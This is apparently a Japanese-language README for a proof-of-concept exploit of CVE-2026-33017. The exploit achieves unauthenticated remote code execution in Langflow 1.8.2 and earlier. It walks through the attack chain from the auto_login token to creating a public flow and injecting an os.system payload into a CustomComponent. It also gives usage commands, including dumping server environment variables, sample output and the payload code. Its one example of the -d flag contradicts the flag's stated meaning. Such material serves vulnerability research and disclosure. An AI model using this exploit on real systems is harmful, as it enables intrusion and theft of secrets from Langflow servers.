
CVE-2026-33017の概念実証。脆弱なLangflowバージョンにおいて、悪意あるCustomComponentコードインジェクションを通じた未認証のリモートコード実行を実証する。
CVE ID: CVE-2026-33017
影響を受けるソフトウェア: Langflow
脆弱なバージョン: <= 1.8.2
修正バージョン: >= 1.9.0
深刻度: 重大
作者: arensballiu
日付: 2026
Langflow は公開フロービルドエンドポイント (/api/v1/build_public_tmp/{flowID}/flow) を公開しており、これは
任意の CustomComponent コードブロックを受け入れ、認証なしでサーバーサイドで実行します。
CustomComponent ノードの code フィールドに悪意のある Python ペイロードを注入することで、未認証の
攻撃者が Langflow サーバープロセスの権限で任意のオペレーティングシステムコマンドを実行できます。
攻撃チェーンはまず /api/v1/auto_login エンドポイントを悪用します。これは Langflow がデフォルトの
自動ログイン設定で実行されている場合、認証情報を必要とせずにベアラートークンを発行します。次にその
トークンを使用して一時的な公開フローを作成し、ビルドエンドポイントを通じてサーバーサイドのコード実行を
トリガーします。
langflow がインストールされ実行されている docker インスタンスを作成する docker ファイルが含まれています。
| エンドポイント | メソッド | 認証要否 | 目的 |
|---|---|---|---|
/api/v1/auto_login | GET | 不要 | ベアラートークンを取得 (自動ログインが有効である必要あり) |
/api/v1/flows/ | POST | 必要 (Bearer) | 新しいフローを作成 |
/api/v1/build_public_tmp/{flowID}/flow | POST | 不要 (公開) | ビルドをトリガー — 脆弱な実行ポイント |
/api/v1/flows/{flowID} | DELETE | 必要 (Bearer) | 作成したフローをクリーンアップ |
ファイル: CVE-2026-33017_POC.py
requests ライブラリpip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| フラグ | ロングフォーム | 必須 | 説明 |
|---|---|---|---|
-u | --url | はい | Langflow インスタンスのベース URL |
-c | --command | はい | サーバー上で実行する OS コマンド |
-d | --delete | いいえ | 悪用後に作成したフローを削除 |
コード実行の確認:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
サーバー環境変数の取得:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
悪用後もフローを維持 (クリーンアップをスキップ):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
エクスプロイトは以下の Python スニペットを CustomComponent ノードの code フィールドに注入します:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - os モジュールを動的にインポートし、攻撃者が指定したシェルコマンドをサーバー上で実行します。CustomComponent です。PUBLIC として作成され、その公開エンドポイントでビルドエンドポイントが呼び出されます。つまり、実行をトリガーするためにセッション Cookie や認証トークンは不要です。Langflow の CustomComponent システムは、フロー定義の一部として任意の Python コードを送信することを
許可しています。/api/v1/build_public_tmp/{flowID}/flow エンドポイントは、このコードをサーバーサイドで
ビルドおよび部分的に評価します。これにはモジュールレベルのステートメントが含まれ、サンドボックス化や
__import__ などの Python ビルトインへのアクセス制限はありません。
1. GET /api/v1/auto_login → Bearer トークンを取得 (認証情報不要)
2. POST /api/v1/flows/ → PUBLIC フローを作成 (Bearer トークン)
3. POST /api/v1/build_public_tmp/ → 悪意のある CustomComponent を注入・実行 (認証不要)
4. DELETE /api/v1/flows/{id} → クリーンアップ (任意)
4 つのステップすべてが、デフォルトの Langflow デプロイメントに対して匿名の攻撃者によって実行可能です。
LANGFLOW_AUTO_LOGIN=false)。この概念実証は、教育および許可されたセキュリティ研究目的のみに提供されています。 明示的な書面による許可なくシステムに対してこのスクリプトを使用することは、違法かつ非倫理的です。 作者および貢献者は、誤用に対して一切の責任を負いません。